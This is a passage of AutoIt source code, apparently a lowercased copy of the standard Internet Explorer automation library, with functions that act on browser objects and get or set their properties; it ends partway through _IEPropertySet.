  1974.             __ieconsolewriteerror("Error", "_IEGetObjById", "$_IESTATUS_InvalidDataType")
  1975.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1976.         EndIf
  1977.         If NOT __ieisobjtype($oobject, "browserdom") Then
  1978.             __ieconsolewriteerror("Error", "_IEGetObById", "$_IESTATUS_InvalidObjectType")
  1979.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1980.         EndIf
  1981.         If IsObj($oobject.document.getelementbyid($sid)) Then
  1982.             Return SetError($_iestatus_success, 0, $oobject.document.getelementbyid($sid))
  1983.         Else
  1984.             __ieconsolewriteerror("Warning", "_IEGetObjById", "$_IESTATUS_NoMatch", $sid)
  1985.             Return SetError($_iestatus_nomatch, 2, 0)
  1986.         EndIf
  1987.     EndFunc
  1988.  
  1989.     Func _ieaction(ByRef $oobject, $saction)
  1990.         If NOT IsObj($oobject) Then
  1991.             __ieconsolewriteerror("Error", "_IEAction(" & $saction & ")", "$_IESTATUS_InvalidDataType")
  1992.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1993.         EndIf
  1994.         $saction = StringLower($saction)
  1995.         Select
  1996.             Case $saction = "click"
  1997.                 If __ieisobjtype($oobject, "documentContainer") Then
  1998.                     __ieconsolewriteerror("Error", "_IEAction(click)", " $_IESTATUS_InvalidObjectType")
  1999.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2000.                 EndIf
  2001.                 $oobject.click()
  2002.             Case $saction = "disable"
  2003.                 If __ieisobjtype($oobject, "documentContainer") Then
  2004.                     __ieconsolewriteerror("Error", "_IEAction(disable)", " $_IESTATUS_InvalidObjectType")
  2005.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2006.                 EndIf
  2007.                 $oobject.disabled = True
  2008.             Case $saction = "enable"
  2009.                 If __ieisobjtype($oobject, "documentContainer") Then
  2010.                     __ieconsolewriteerror("Error", "_IEAction(enable)", " $_IESTATUS_InvalidObjectType")
  2011.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2012.                 EndIf
  2013.                 $oobject.disabled = False
  2014.             Case $saction = "focus"
  2015.                 If __ieisobjtype($oobject, "documentContainer") Then
  2016.                     __ieconsolewriteerror("Error", "_IEAction(focus)", "$_IESTATUS_InvalidObjectType")
  2017.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2018.                 EndIf
  2019.                 $oobject.focus()
  2020.             Case $saction = "scrollintoview"
  2021.                 If __ieisobjtype($oobject, "documentContainer") Then
  2022.                     __ieconsolewriteerror("Error", "_IEAction(scrollintoview)", "$_IESTATUS_InvalidObjectType")
  2023.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2024.                 EndIf
  2025.                 $oobject.scrollintoview()
  2026.             Case $saction = "copy"
  2027.                 $oobject.document.execcommand("Copy")
  2028.             Case $saction = "cut"
  2029.                 $oobject.document.execcommand("Cut")
  2030.             Case $saction = "paste"
  2031.                 $oobject.document.execcommand("Paste")
  2032.             Case $saction = "delete"
  2033.                 $oobject.document.execcommand("Delete")
  2034.             Case $saction = "saveas"
  2035.                 $oobject.document.execcommand("SaveAs")
  2036.             Case $saction = "refresh"
  2037.                 $oobject.document.execcommand("Refresh")
  2038.                 If @error Then
  2039.                     __ieconsolewriteerror("Error", "_IEAction(refresh)", "$_IESTATUS_COMError", @error)
  2040.                     Return SetError($_iestatus_comerror, @error, 0)
  2041.                 EndIf
  2042.                 _ieloadwait($oobject)
  2043.             Case $saction = "selectall"
  2044.                 $oobject.document.execcommand("SelectAll")
  2045.             Case $saction = "unselect"
  2046.                 $oobject.document.execcommand("Unselect")
  2047.             Case $saction = "print"
  2048.                 $oobject.document.parentwindow.print()
  2049.             Case $saction = "printdefault"
  2050.                 If NOT __ieisobjtype($oobject, "browser") Then
  2051.                     __ieconsolewriteerror("Error", "_IEAction(printdefault)", "$_IESTATUS_InvalidObjectType")
  2052.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2053.                 EndIf
  2054.                 $oobject.execwb(6, 2)
  2055.             Case $saction = "back"
  2056.                 If NOT __ieisobjtype($oobject, "documentContainer") Then
  2057.                     __ieconsolewriteerror("Error", "_IEAction(back)", "$_IESTATUS_InvalidObjectType")
  2058.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2059.                 EndIf
  2060.                 $oobject.goback()
  2061.             Case $saction = "blur"
  2062.                 $oobject.blur()
  2063.             Case $saction = "forward"
  2064.                 If NOT __ieisobjtype($oobject, "documentContainer") Then
  2065.                     __ieconsolewriteerror("Error", "_IEAction(forward)", "$_IESTATUS_InvalidObjectType")
  2066.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2067.                 EndIf
  2068.                 $oobject.goforward()
  2069.             Case $saction = "home"
  2070.                 If NOT __ieisobjtype($oobject, "documentContainer") Then
  2071.                     __ieconsolewriteerror("Error", "_IEAction(home)", "$_IESTATUS_InvalidObjectType")
  2072.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2073.                 EndIf
  2074.                 $oobject.gohome()
  2075.             Case $saction = "invisible"
  2076.                 If NOT __ieisobjtype($oobject, "browser") Then
  2077.                     __ieconsolewriteerror("Error", "_IEAction(invisible)", "$_IESTATUS_InvalidObjectType")
  2078.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2079.                 EndIf
  2080.                 $oobject.visible = 0
  2081.             Case $saction = "visible"
  2082.                 If NOT __ieisobjtype($oobject, "browser") Then
  2083.                     __ieconsolewriteerror("Error", "_IEAction(visible)", "$_IESTATUS_InvalidObjectType")
  2084.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2085.                 EndIf
  2086.                 $oobject.visible = 1
  2087.             Case $saction = "search"
  2088.                 If NOT __ieisobjtype($oobject, "browser") Then
  2089.                     __ieconsolewriteerror("Error", "_IEAction(search)", "$_IESTATUS_InvalidObjectType")
  2090.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2091.                 EndIf
  2092.                 $oobject.gosearch()
  2093.             Case $saction = "stop"
  2094.                 If NOT __ieisobjtype($oobject, "documentContainer") Then
  2095.                     __ieconsolewriteerror("Error", "_IEAction(stop)", "$_IESTATUS_InvalidObjectType")
  2096.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2097.                 EndIf
  2098.                 $oobject.stop()
  2099.             Case $saction = "quit"
  2100.                 If NOT __ieisobjtype($oobject, "browser") Then
  2101.                     __ieconsolewriteerror("Error", "_IEAction(quit)", "$_IESTATUS_InvalidObjectType")
  2102.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2103.                 EndIf
  2104.                 $oobject.quit()
  2105.                 If @error Then
  2106.                     __ieconsolewriteerror("Error", "_IEAction(" & $saction & ")", "$_IESTATUS_COMError", @error)
  2107.                     Return SetError($_iestatus_comerror, @error, 0)
  2108.                 EndIf
  2109.                 $oobject = 0
  2110.                 Return SetError($_iestatus_success, 0, 1)
  2111.             Case Else
  2112.                 __ieconsolewriteerror("Error", "_IEAction(" & $saction & ")", "$_IESTATUS_InvalidValue", "Invalid Action")
  2113.                 Return SetError($_iestatus_invalidvalue, 2, 0)
  2114.         EndSelect
  2115.         If @error Then
  2116.             __ieconsolewriteerror("Error", "_IEAction(" & $saction & ")", "$_IESTATUS_COMError", @error)
  2117.             Return SetError($_iestatus_comerror, @error, 0)
  2118.         EndIf
  2119.         Return SetError($_iestatus_success, 0, 1)
  2120.     EndFunc
  2121.  
  2122.     Func _iepropertyget(ByRef $oobject, $sproperty)
  2123.         If NOT IsObj($oobject) Then
  2124.             __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidDataType")
  2125.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  2126.         EndIf
  2127.         If NOT __ieisobjtype($oobject, "browserdom") Then
  2128.             __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2129.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2130.         EndIf
  2131.         Local $otemp, $itemp
  2132.         $sproperty = StringLower($sproperty)
  2133.         Select
  2134.             Case $sproperty = "browserx"
  2135.                 If __ieisobjtype($oobject, "browsercontainer") OR __ieisobjtype($oobject, "document") Then
  2136.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2137.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2138.                 EndIf
  2139.                 $otemp = $oobject
  2140.                 $itemp = 0
  2141.                 While IsObj($otemp)
  2142.                     $itemp += $otemp.offsetleft
  2143.                     $otemp = $otemp.offsetparent
  2144.                 WEnd
  2145.                 Return SetError($_iestatus_success, 0, $itemp)
  2146.             Case $sproperty = "browsery"
  2147.                 If __ieisobjtype($oobject, "browsercontainer") OR __ieisobjtype($oobject, "document") Then
  2148.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2149.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2150.                 EndIf
  2151.                 $otemp = $oobject
  2152.                 $itemp = 0
  2153.                 While IsObj($otemp)
  2154.                     $itemp += $otemp.offsettop
  2155.                     $otemp = $otemp.offsetparent
  2156.                 WEnd
  2157.                 Return SetError($_iestatus_success, 0, $itemp)
  2158.             Case $sproperty = "screenx"
  2159.                 If __ieisobjtype($oobject, "window") OR __ieisobjtype($oobject, "document") Then
  2160.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2161.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2162.                 EndIf
  2163.                 If __ieisobjtype($oobject, "browser") Then
  2164.                     Return SetError($_iestatus_success, 0, $oobject.left())
  2165.                 Else
  2166.                     $otemp = $oobject
  2167.                     $itemp = 0
  2168.                     While IsObj($otemp)
  2169.                         $itemp += $otemp.offsetleft
  2170.                         $otemp = $otemp.offsetparent
  2171.                     WEnd
  2172.                 EndIf
  2173.                 Return SetError($_iestatus_success, 0, $itemp + $oobject.document.parentwindow.screenleft)
  2174.             Case $sproperty = "screeny"
  2175.                 If __ieisobjtype($oobject, "window") OR __ieisobjtype($oobject, "document") Then
  2176.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2177.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2178.                 EndIf
  2179.                 If __ieisobjtype($oobject, "browser") Then
  2180.                     Return SetError($_iestatus_success, 0, $oobject.top())
  2181.                 Else
  2182.                     $otemp = $oobject
  2183.                     $itemp = 0
  2184.                     While IsObj($otemp)
  2185.                         $itemp += $otemp.offsettop
  2186.                         $otemp = $otemp.offsetparent
  2187.                     WEnd
  2188.                 EndIf
  2189.                 Return SetError($_iestatus_success, 0, $itemp + $oobject.document.parentwindow.screentop)
  2190.             Case $sproperty = "height"
  2191.                 If __ieisobjtype($oobject, "window") OR __ieisobjtype($oobject, "document") Then
  2192.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2193.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2194.                 EndIf
  2195.                 If __ieisobjtype($oobject, "browser") Then
  2196.                     Return SetError($_iestatus_success, 0, $oobject.height())
  2197.                 Else
  2198.                     Return SetError($_iestatus_success, 0, $oobject.offsetheight)
  2199.                 EndIf
  2200.             Case $sproperty = "width"
  2201.                 If __ieisobjtype($oobject, "window") OR __ieisobjtype($oobject, "document") Then
  2202.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2203.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2204.                 EndIf
  2205.                 If __ieisobjtype($oobject, "browser") Then
  2206.                     Return SetError($_iestatus_success, 0, $oobject.width())
  2207.                 Else
  2208.                     Return SetError($_iestatus_success, 0, $oobject.offsetwidth)
  2209.                 EndIf
  2210.             Case $sproperty = "isdisabled"
  2211.                 Return SetError($_iestatus_success, 0, $oobject.isdisabled())
  2212.             Case $sproperty = "addressbar"
  2213.                 If NOT __ieisobjtype($oobject, "browser") Then
  2214.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2215.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2216.                 EndIf
  2217.                 Return SetError($_iestatus_success, 0, $oobject.addressbar())
  2218.             Case $sproperty = "busy"
  2219.                 If NOT __ieisobjtype($oobject, "browser") Then
  2220.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2221.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2222.                 EndIf
  2223.                 Return SetError($_iestatus_success, 0, $oobject.busy())
  2224.             Case $sproperty = "fullscreen"
  2225.                 If NOT __ieisobjtype($oobject, "browser") Then
  2226.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2227.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2228.                 EndIf
  2229.                 Return SetError($_iestatus_success, 0, $oobject.fullscreen())
  2230.             Case $sproperty = "hwnd"
  2231.                 If NOT __ieisobjtype($oobject, "browser") Then
  2232.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2233.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2234.                 EndIf
  2235.                 Return SetError($_iestatus_success, 0, HWnd($oobject.hwnd()))
  2236.             Case $sproperty = "left"
  2237.                 If NOT __ieisobjtype($oobject, "browser") Then
  2238.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2239.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2240.                 EndIf
  2241.                 Return SetError($_iestatus_success, 0, $oobject.left())
  2242.             Case $sproperty = "locationname"
  2243.                 If NOT __ieisobjtype($oobject, "browser") Then
  2244.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2245.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2246.                 EndIf
  2247.                 Return SetError($_iestatus_success, 0, $oobject.locationname())
  2248.             Case $sproperty = "locationurl"
  2249.                 If __ieisobjtype($oobject, "browser") Then
  2250.                     Return SetError($_iestatus_success, 0, $oobject.locationurl())
  2251.                 EndIf
  2252.                 If __ieisobjtype($oobject, "window") Then
  2253.                     Return SetError($_iestatus_success, 0, $oobject.location.href())
  2254.                 EndIf
  2255.                 If __ieisobjtype($oobject, "document") Then
  2256.                     Return SetError($_iestatus_success, 0, $oobject.parentwindow.location.href())
  2257.                 EndIf
  2258.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.location.href())
  2259.             Case $sproperty = "menubar"
  2260.                 If NOT __ieisobjtype($oobject, "browser") Then
  2261.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2262.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2263.                 EndIf
  2264.                 Return SetError($_iestatus_success, 0, $oobject.menubar())
  2265.             Case $sproperty = "offline"
  2266.                 If NOT __ieisobjtype($oobject, "browser") Then
  2267.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2268.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2269.                 EndIf
  2270.                 Return SetError($_iestatus_success, 0, $oobject.offline())
  2271.             Case $sproperty = "readystate"
  2272.                 If NOT __ieisobjtype($oobject, "browser") Then
  2273.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2274.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2275.                 EndIf
  2276.                 Return SetError($_iestatus_success, 0, $oobject.readystate())
  2277.             Case $sproperty = "resizable"
  2278.                 If NOT __ieisobjtype($oobject, "browser") Then
  2279.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2280.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2281.                 EndIf
  2282.                 Return SetError($_iestatus_success, 0, $oobject.resizable())
  2283.             Case $sproperty = "silent"
  2284.                 If NOT __ieisobjtype($oobject, "browser") Then
  2285.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2286.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2287.                 EndIf
  2288.                 Return SetError($_iestatus_success, 0, $oobject.silent())
  2289.             Case $sproperty = "statusbar"
  2290.                 If NOT __ieisobjtype($oobject, "browser") Then
  2291.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2292.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2293.                 EndIf
  2294.                 Return SetError($_iestatus_success, 0, $oobject.statusbar())
  2295.             Case $sproperty = "statustext"
  2296.                 If NOT __ieisobjtype($oobject, "browser") Then
  2297.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2298.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2299.                 EndIf
  2300.                 Return SetError($_iestatus_success, 0, $oobject.statustext())
  2301.             Case $sproperty = "top"
  2302.                 If NOT __ieisobjtype($oobject, "browser") Then
  2303.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2304.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2305.                 EndIf
  2306.                 Return SetError($_iestatus_success, 0, $oobject.top())
  2307.             Case $sproperty = "visible"
  2308.                 If NOT __ieisobjtype($oobject, "browser") Then
  2309.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2310.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2311.                 EndIf
  2312.                 Return SetError($_iestatus_success, 0, $oobject.visible())
  2313.             Case $sproperty = "appcodename"
  2314.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.appcodename())
  2315.             Case $sproperty = "appminorversion"
  2316.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.appminorversion())
  2317.             Case $sproperty = "appname"
  2318.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.appname())
  2319.             Case $sproperty = "appversion"
  2320.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.appversion())
  2321.             Case $sproperty = "browserlanguage"
  2322.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.browserlanguage())
  2323.             Case $sproperty = "cookieenabled"
  2324.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.cookieenabled())
  2325.             Case $sproperty = "cpuclass"
  2326.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.cpuclass())
  2327.             Case $sproperty = "javaenabled"
  2328.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.javaenabled())
  2329.             Case $sproperty = "online"
  2330.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.online())
  2331.             Case $sproperty = "platform"
  2332.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.platform())
  2333.             Case $sproperty = "systemlanguage"
  2334.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.systemlanguage())
  2335.             Case $sproperty = "useragent"
  2336.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.useragent())
  2337.             Case $sproperty = "userlanguage"
  2338.                 Return SetError($_iestatus_success, 0, $oobject.document.parentwindow.top.navigator.userlanguage())
  2339.             Case $sproperty = "referrer"
  2340.                 Return SetError($_iestatus_success, 0, $oobject.document.referrer)
  2341.             Case $sproperty = "theatermode"
  2342.                 If NOT __ieisobjtype($oobject, "browser") Then
  2343.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2344.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2345.                 EndIf
  2346.                 Return SetError($_iestatus_success, 0, $oobject.theatermode)
  2347.             Case $sproperty = "toolbar"
  2348.                 If NOT __ieisobjtype($oobject, "browser") Then
  2349.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2350.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2351.                 EndIf
  2352.                 Return SetError($_iestatus_success, 0, $oobject.toolbar)
  2353.             Case $sproperty = "contenteditable"
  2354.                 If __ieisobjtype($oobject, "browser") OR __ieisobjtype($oobject, "document") Then
  2355.                     $otemp = $oobject.document.body
  2356.                 Else
  2357.                     $otemp = $oobject
  2358.                 EndIf
  2359.                 Return SetError($_iestatus_success, 0, $otemp.iscontenteditable)
  2360.             Case $sproperty = "innertext"
  2361.                 If __ieisobjtype($oobject, "documentcontainer") OR __ieisobjtype($oobject, "document") Then
  2362.                     $otemp = $oobject.document.body
  2363.                 Else
  2364.                     $otemp = $oobject
  2365.                 EndIf
  2366.                 Return SetError($_iestatus_success, 0, $otemp.innertext)
  2367.             Case $sproperty = "outertext"
  2368.                 If __ieisobjtype($oobject, "documentcontainer") OR __ieisobjtype($oobject, "document") Then
  2369.                     $otemp = $oobject.document.body
  2370.                 Else
  2371.                     $otemp = $oobject
  2372.                 EndIf
  2373.                 Return SetError($_iestatus_success, 0, $otemp.outertext)
  2374.             Case $sproperty = "innerhtml"
  2375.                 If __ieisobjtype($oobject, "documentcontainer") OR __ieisobjtype($oobject, "document") Then
  2376.                     $otemp = $oobject.document.body
  2377.                 Else
  2378.                     $otemp = $oobject
  2379.                 EndIf
  2380.                 Return SetError($_iestatus_success, 0, $otemp.innerhtml)
  2381.             Case $sproperty = "outerhtml"
  2382.                 If __ieisobjtype($oobject, "documentcontainer") OR __ieisobjtype($oobject, "document") Then
  2383.                     $otemp = $oobject.document.body
  2384.                 Else
  2385.                     $otemp = $oobject
  2386.                 EndIf
  2387.                 Return SetError($_iestatus_success, 0, $otemp.outerhtml)
  2388.             Case $sproperty = "title"
  2389.                 Return SetError($_iestatus_success, 0, $oobject.document.title)
  2390.             Case $sproperty = "uniqueid"
  2391.                 If __ieisobjtype($oobject, "window") Then
  2392.                     __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidObjectType")
  2393.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2394.                 Else
  2395.                     Return SetError($_iestatus_success, 0, $oobject.uniqueid)
  2396.                 EndIf
  2397.             Case Else
  2398.                 __ieconsolewriteerror("Error", "_IEPropertyGet", "$_IESTATUS_InvalidValue", "Invalid Property")
  2399.                 Return SetError($_iestatus_invalidvalue, 2, 0)
  2400.         EndSelect
  2401.     EndFunc
  2402.  
  2403.     Func _iepropertyset(ByRef $oobject, $sproperty, $vvalue)
  2404.         If NOT IsObj($oobject) Then
  2405.             __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidDataType")
  2406.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  2407.         EndIf
  2408.         Local $otemp
  2409.         #forceref $oTemp
  2410.         $sproperty = StringLower($sproperty)
  2411.         Select
  2412.             Case $sproperty = "addressbar"
  2413.                 If NOT __ieisobjtype($oobject, "browser") Then
  2414.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2415.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2416.                 EndIf
  2417.                 $oobject.addressbar = $vvalue
  2418.             Case $sproperty = "height"
  2419.                 If NOT __ieisobjtype($oobject, "browser") Then
  2420.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2421.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2422.                 EndIf
  2423.                 $oobject.height = $vvalue
  2424.             Case $sproperty = "left"
  2425.                 If NOT __ieisobjtype($oobject, "browser") Then
  2426.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2427.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2428.                 EndIf
  2429.                 $oobject.left = $vvalue
  2430.             Case $sproperty = "menubar"
  2431.                 If NOT __ieisobjtype($oobject, "browser") Then
  2432.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2433.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2434.                 EndIf
  2435.                 $oobject.menubar = $vvalue
  2436.             Case $sproperty = "offline"
  2437.                 If NOT __ieisobjtype($oobject, "browser") Then
  2438.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2439.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2440.                 EndIf
  2441.                 $oobject.offline = $vvalue
  2442.             Case $sproperty = "resizable"
  2443.                 If NOT __ieisobjtype($oobject, "browser") Then
  2444.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2445.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2446.                 EndIf
  2447.                 $oobject.resizable = $vvalue
  2448.             Case $sproperty = "statusbar"
  2449.                 If NOT __ieisobjtype($oobject, "browser") Then
  2450.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2451.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2452.                 EndIf
  2453.                 $oobject.statusbar = $vvalue
  2454.             Case $sproperty = "statustext"
  2455.                 If NOT __ieisobjtype($oobject, "browser") Then
  2456.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2457.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2458.                 EndIf
  2459.                 $oobject.statustext = $vvalue
  2460.             Case $sproperty = "top"
  2461.                 If NOT __ieisobjtype($oobject, "browser") Then
  2462.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2463.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2464.                 EndIf
  2465.                 $oobject.top = $vvalue
  2466.             Case $sproperty = "width"
  2467.                 If NOT __ieisobjtype($oobject, "browser") Then
  2468.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2469.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2470.                 EndIf
  2471.                 $oobject.width = $vvalue
  2472.             Case $sproperty = "theatermode"
  2473.                 If NOT __ieisobjtype($oobject, "browser") Then
  2474.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2475.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2476.                 EndIf
  2477.                 If $vvalue Then
  2478.                     $oobject.theatermode = True
  2479.                 Else
  2480.                     $oobject.theatermode = False
  2481.                 EndIf
  2482.             Case $sproperty = "toolbar"
  2483.                 If NOT __ieisobjtype($oobject, "browser") Then
  2484.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2485.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2486.                 EndIf
  2487.                 If $vvalue Then
  2488.                     $oobject.toolbar = True
  2489.                 Else
  2490.                     $oobject.toolbar = False
  2491.                 EndIf
  2492.             Case $sproperty = "contenteditable"
  2493.                 If __ieisobjtype($oobject, "browser") OR __ieisobjtype($oobject, "document") Then
  2494.                     $otemp = $oobject.document.body
  2495.                 Else
  2496.                     $otemp = $oobject
  2497.                 EndIf
  2498.                 If $vvalue Then
  2499.                     $otemp.contenteditable = "true"
  2500.                 Else
  2501.                     $otemp.contenteditable = "false"
  2502.                 EndIf
  2503.             Case $sproperty = "innertext"
  2504.                 If __ieisobjtype($oobject, "documentcontainer") OR __ieisobjtype($oobject, "document") Then
  2505.                     $otemp = $oobject.document.body
  2506.                 Else
  2507.                     $otemp = $oobject
  2508.                 EndIf
  2509.                 $otemp.innertext = $vvalue
  2510.             Case $sproperty = "outertext"
  2511.                 If __ieisobjtype($oobject, "documentcontainer") OR __ieisobjtype($oobject, "document") Then
  2512.                     $otemp = $oobject.document.body
  2513.                 Else
  2514.                     $otemp = $oobject
  2515.                 EndIf
  2516.                 $otemp.outertext = $vvalue
  2517.             Case $sproperty = "innerhtml"
  2518.                 If __ieisobjtype($oobject, "documentcontainer") OR __ieisobjtype($oobject, "document") Then
  2519.                     $otemp = $oobject.document.body
  2520.                 Else
  2521.                     $otemp = $oobject
  2522.                 EndIf
  2523.                 $otemp.innerhtml = $vvalue
  2524.             Case $sproperty = "outerhtml"
  2525.                 If __ieisobjtype($oobject, "documentcontainer") OR __ieisobjtype($oobject, "document") Then
  2526.                     $otemp = $oobject.document.body
  2527.                 Else
  2528.                     $otemp = $oobject
  2529.                 EndIf
  2530.                 $otemp.outerhtml = $vvalue
  2531.             Case $sproperty = "title"
  2532.                 $oobject.document.title = $vvalue
  2533.             Case $sproperty = "silent"
  2534.                 If NOT __ieisobjtype($oobject, "browser") Then
  2535.                     __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidObjectType")
  2536.                     Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2537.                 EndIf
  2538.                 If $vvalue Then
  2539.                     $oobject.silent = True
  2540.                 Else
  2541.                     $oobject.silent = False
  2542.                 EndIf
  2543.             Case Else
  2544.                 __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_InvalidValue", "Invalid Property")
  2545.                 Return SetError($_iestatus_invalidvalue, 2, 0)
  2546.         EndSelect
  2547.         If @error Then
  2548.             __ieconsolewriteerror("Error", "_IEPropertySet", "$_IESTATUS_COMError", @error)
  2549.             Return SetError($_iestatus_comerror, @error, 0)
  2550.         EndIf
